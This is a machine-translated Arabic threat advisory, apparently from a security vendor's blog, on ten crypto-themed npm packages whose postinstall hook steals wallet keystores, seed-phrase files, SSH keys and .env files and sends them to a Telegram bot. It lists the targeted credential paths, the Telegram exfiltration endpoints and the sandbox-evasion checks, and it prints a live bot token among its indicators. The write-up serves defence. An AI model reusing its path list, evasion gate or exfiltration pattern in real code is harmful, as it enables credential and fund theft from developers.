SeedSweep: عشر حزم تشفير خبيثة من نوع npm

SeedSweep: عشر حزم npm ذات طابع العملات الرقمية لا تعمل إلا عندما لا يراقبها أحد

TL؛ DR

في 9 يونيو 2026، تم إنشاء حساب ناشر واحد على منصة npm. aicrypto-xzggg، تم شحنها عشر حزم بأسماء ذات طابع تشفيري وتقنية Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9وستة آخرون.

كل حزمة تحمل نفس الحمولة من postinstall عند التثبيت، يتحقق البرنامج مما إذا كان يعمل داخل بيئة تكامل مستمر أو بيئة معزولة (sandbox) - وإذا لم يكن كذلك، فإنه يقرأ مخازن مفاتيح المحفظة، وملفات عبارات الاسترداد، ومفاتيح SSH، و .env يقوم بتجميع الملفات من ستة أنظمة بيئية لتقنية البلوك تشين وإرسالها إلى روبوت تيليجرام.

المؤشر الوحيد الذي يمكن للمدافع البحث عنه فورًا هو معرّف بوت تيليجرام 8227918239.

الخطورة: حرج — سرقة مباشرة لمفاتيح التوقيع وعبارات الاسترداد من محطات عمل المطورين.

الهجوم: كيف يعمل

تُسوّق هذه الحزم نفسها على أنها أدوات مساعدة لمطوري تقنية البلوك تشين. package.json بسيط للغاية ويشير إلى دورة حياة التثبيت في برنامج نصي:

{
  "name": "farming-tools-12",
  "main": "src/index.js",
  "scripts": { "postinstall": "node scripts/postinstall.js" },
  "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
  "author": "Alex Smith",
  "license": "MIT"
}

scripts/postinstall.js هو عبارة عن سطر واحد يقوم بتحميل الحمولة الحقيقية: require(“../src/index.js”). لان بعد التثبيت يتم تشغيله تلقائيًا أثناء تركيب npm، لا يلزم استيراد أي كود من قبل المطور - يكفي وضع الحزمة في شجرة التبعية لتنفيذها.

سلسلة القتل في الداخل src / index.js وهي أربع خطوات:

  1. فحص البيئة. تحدد وظيفة الحماية ما إذا كان المضيف يبدو كعامل بناء أو بيئة اختبار تحليلية.
  2. تأخير. يتم تأجيل التنفيذ خلف setTimeout حوالي 7.4 ثانية.
  3. مجموعة. يتم استعراض قائمة ثابتة من مسارات ملفات المحفظة والمفتاح والسر؛ ويتم وضع الملفات الموجودة في قائمة الانتظار.
  4. عملية هروب. يتم إرسال الملفات الموجودة في قائمة الانتظار إلى روبوت Telegram، مسبوقة برسالة ملخص.

تشمل قائمة أهداف التجميع ست سلاسل بالإضافة إلى أسرار المطورين العامة. تم تقليصها:

~/.config/solana/id.json        ~/.ethereum/keystore
~/.solana/keypair.json          ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt
./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

واحد وعشرون مسارًا إجمالًا. إدخالات الدليل مثل ~/.ethereum/keystore يتم توسيع الملفات، ويتم وضع كل ملف بداخلها في قائمة الانتظار. يستخدم برنامج استخراج البيانات واجهة برمجة تطبيقات بوت تيليجرام مباشرةً. إرسال رسالة استدعاء مع ملخص للمضيف والملف، ثم إرسال المستند تحميل متعدد الأجزاء لكل ملف:

نص

POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

تبدأ رسالة الملخص التي يُنشئها الكود بالسلسلة النصية الحرفية سارق العملات المشفرة، متبوعًا باسم المضيف، واسم المستخدم، واسم الحزمة الأصلية، وعدد الملفات، والطابع الزمني.

ما الجديد هنا؟

لا يكمن عامل التمييز في آلية السرقة — آلية استخراج البيانات المستندة إلى تيليجرام من npm بعد التثبيت hooks إنها منطقة معروفة ومأهولة. بوابة الإعدام. قبل القيام بأي شيء، تستدعي الحمولة دالة تُرجع القيمة "صحيح" عندما يشبه المضيف مُشغّل التكامل المستمر أو بيئة الاختبار المعزولة، وتُرجع القيمة مبكرًا عندما يكون كذلك:

نص

isTestEnvironment() is true when ANY of:
  - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set
  - env NODE_ENV in {test, development}
  - username/USER contains: runner, sandbox, test, docker,
    jenkins, gitlab, travis, circleci
  - hostname contains: sandbox, test, ci
  - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

يُعد التعبير النمطي لمعرّف الحاوية هو الشرط الجدير بالذكر: اسم المضيف المكون من 12 حرفًا سداسيًا عشريًا هو الشكل الافتراضي الذي يخصصه Docker لـ حاويةلذا، يتعامل البرنامج الخبيث مع عبارة "اسم مضيفي يشبه حاوية Docker" كسبب للبقاء في حالة خمول. وبالإضافة إلى التأخير لمدة سبع ثوانٍ، يُفضّل التصميم التشغيل على محطة عمل المطور الحقيقية والبقاء صامتًا في أي مكان يبدو وكأنه تحليل آلي. هذه الآلية هي التي كبحت إشارات التحليل الديناميكي وأبقت على تدفق البيانات الثابت كدليل الإدانة الرئيسي.

الخط الزمني

التاريخ (UTC)الحدث/الفعالية
2026-06-09 ~02:48تم وضع علامة على الحزم الأولى في المجموعة عند النشر (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25تم وضع علامة على الأعضاء ذوي الإصدارات الأعلى (ethereum-kit-9 في 1.25.36 ، wallet-sdk-9 الساعة 3.7.73)
2026-06-09 ~03:58–03:59تم تحديد الأعضاء النهائيين (defi-tools-39 في 4.26.29 ، swap-sdk-87 في 4.63.78 ، farming-tools-12 الساعة 4.68.54)
2026-06-09تم تصنيف جميعها العشرة على أنها برامج ضارة وتم الإبلاغ عنها لإزالتها من سجل النظام.

ظهرت جميعها العشرة في غضون سبعين دقيقة تقريبًا، بما يتوافق مع عملية نشر واحدة مكتوبة مسبقًا من حساب واحد.

مؤشرات التسوية

مؤشرات الشبكة والسلوك (المضيف منزوع الأنياب):

مؤشربعد التخفيض
نقطة نهاية الخروجapi[.]telegram[.]org (واجهة برمجة تطبيقات بوت تيليجرام)
معرف بوت تيليجرام8227918239
رمز البوت8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
معرف دردشة تيليجرام6433587894
خطاف التثبيتpostinstall → scripts/postinstall.js → src/index.js
سلسلة العلاماتCRYPTO STEALER في رسالة الملخص المجمعة
Publisheraicrypto-xzggg (البريد الإلكتروني المذكور) vipsyria88@gmail[.]com(غير مؤكد)

الحزم والإصدارات، كل منها يحتوي على خوارزمية SHA-256 الخاصة بها src / index.js الحمولة (الحمولات متطابقة وظيفيًا وتختلف فقط في تسمية اسم الحزمة المضمنة، لذا فإن كل تجزئة مميزة):

أتش تي أم أل
فئة الإشتراكالتجريبيةSHA-256 لملف src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

استعلام بحث بسيط: ابحث في سجلات التثبيت وملفات القفل عن أي من الأسماء العشرة، وابحث في حركة المرور الصادرة عن الاتصالات بواجهة برمجة تطبيقات Telegram Bot من مضيفات البناء أو المطورين التي لا تستخدمها بخلاف ذلك.

الإسناد والسلوك الملاحظ

تم نشر جميع الحزم العشر من حساب واحد، aicrypto-xzggg، والذي تم ذكر بريده الإلكتروني vipsyria88@gmail[.]comلم يتم التحقق من صحة كل من البريد الإلكتروني ورابط التحكم بالمصادر في بيانات السجل، ويحمل الحساب تقييم سمعة سلبيًا للغاية. لم نتمكن من التأكد من هوية مُشغّل الحساب.

هناك تفصيلان جديران بالفصل عن أي ادعاء بالهوية. أولاً، package.json المؤلفة قراءة الحقل أليكس سميث على كل حزمة، بينما حساب النشر الفعلي هو aicrypto-xzgggحقل المؤلف هو بيانات وصفية معلنة ذاتيًا ولا يثبت هوية المؤلف. ثانيًا، تختلف أرقام الإصدارات اختلافًا كبيرًا - بعض الأعضاء في 1.0.0، الآخرين في 4.68.54 — وهو ما يتوافق مع إعادة استخدام حمولة واحدة عبر أسماء حزم جديدة بدلاً من الاحتفاظ بسجلات إصدارات حقيقية.

السلوك موحد عبر المجموعة: نفس قائمة مسار الهدف، ونفس معرّف بوت تيليجرام ومعرّف الدردشة، ونفس بوابة البيئة، ونفس سارق العملات المشفرة علامة مميزة. هذا التوحيد هو أقوى رابط بين الحزم. إنه إشارة إلى نفس المشغل، وليس هوية.

التأثيرات والاتجاهات والتوجيهات للمدافعين

إن المخاطرة واضحة. فالمطور الذي يُثبّت أيًا من هذه الحزم على محطة عمل تحتوي على محفظة برمجية أو ملف عبارة استرداد أو مفتاح SSH، تُقرأ هذه الملفات وتُرسل خارج الجهاز المضيف في غضون ثوانٍ. عبارات الاسترداد ومفاتيح التوقيع لا تنتهي صلاحيتها كما هو الحال مع رمز الجلسة؛ بمجرد... mnemonic.txt أو سولانا id.json بمجرد مغادرة الجهاز، تصبح الأموال التي يتحكم بها معرضة للخطر إلى حين نقلها. وتستحوذ نفس العملية أيضًا على .env الملفات، التي تحمل بشكل روتيني مفاتيح واجهة برمجة التطبيقات وبيانات اعتماد قاعدة البيانات.

هناك اتجاهان رئيسيان وراء هذه المجموعة. أولهما هو الاستخدام المستمر لأسماء ذات طابع تشفيري وتقنية Web3 لجذب فئة محددة من المستخدمين - وهم المطورون الذين يحتفظون بمحافظهم ومفاتيحهم على نفس الجهاز الذي يُثبّتون عليه التبعيات. أما ثانيهما فهو تطور أساليب التحايل على بيئة الحماية في حمولات التثبيت. إن وجود بوابة تتحقق من متغيرات بيئة التكامل المستمر، وأسماء مستخدمي المُشغّل، وشكل اسم مضيف مُعرّف حاوية Docker، يُعد جهدًا مُتعمّدًا للتصرف بشكل مختلف أثناء التحليل عنه على محطة عمل حقيقية، وهو ما يرفع مستوى الكشف الديناميكي البحت.

للمدافعين:

قم بالتثبيت مع تعطيل البرامج النصية افتراضياً. npm install --ignore-scripts، أو مجموعة ignore-scripts=true in .npmrcيمنع بعد التثبيت التنفيذ؛ قم بتمكين البرامج النصية فقط للتبعيات المحددة التي تحتاجها فعلاً.

احتفظ بالمحافظ ومفاتيح التوقيع بعيدًا عن أجهزة البناء والتطوير. استخدم محفظة أجهزة أو مضيف توقيع مخصصًا لا يعتمد على أي برامج أخرى.

عالج .envيجب اعتبار ملفات المفاتيح وملفات عبارات الاسترداد بمثابة جواهر ثمينة. لا ينبغي أبدًا وضعها في دليل يُستخدم أيضًا كـ تركيب npm شجرة العمل.

ابحث عن الاتصالات الصادرة إلى واجهة برمجة تطبيقات بوت تيليجرام من بيئات التكامل المستمر وبيئات المطورين. معظم بيئات البناء لا تستخدمها أبدًا؛ لذا فإن أي بيئة تستخدمها فجأة، مباشرة بعد التثبيت، تستحق التحقيق.

قم بتثبيت ومراجعة التبعيات. حزمة جديدة تمامًا تحمل اسمًا عامًا للعملات المشفرة، و بعد التثبيت الخطاف، ولا يوجد رابط للمستودع يستدعي النظر قبل إدخاله في ملف القفل.

يُعدّ شرط التهرب من مُعرّف الحاوية بمثابة تذكير للمحللين: فالحمولة الخبيثة التي تبقى خاملة في بيئة معزولة أثناء التثبيت ليست حميدة، بل انتقائية. ويظلّ الفحص الثابت لمسار التثبيت الطريقة الموثوقة لمعرفة ما قد لا يظهر أثناء التنفيذ الديناميكي.

مراجع حسابات

توثيق تثبيت npm — نصوص دورة الحياة و - تجاهل النصوص— مرجع لتعطيل التثبيت التلقائي hooks. 

أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

احمِ عملية تطوير وتسليم برامجك

مع مجموعة منتجات Xygeni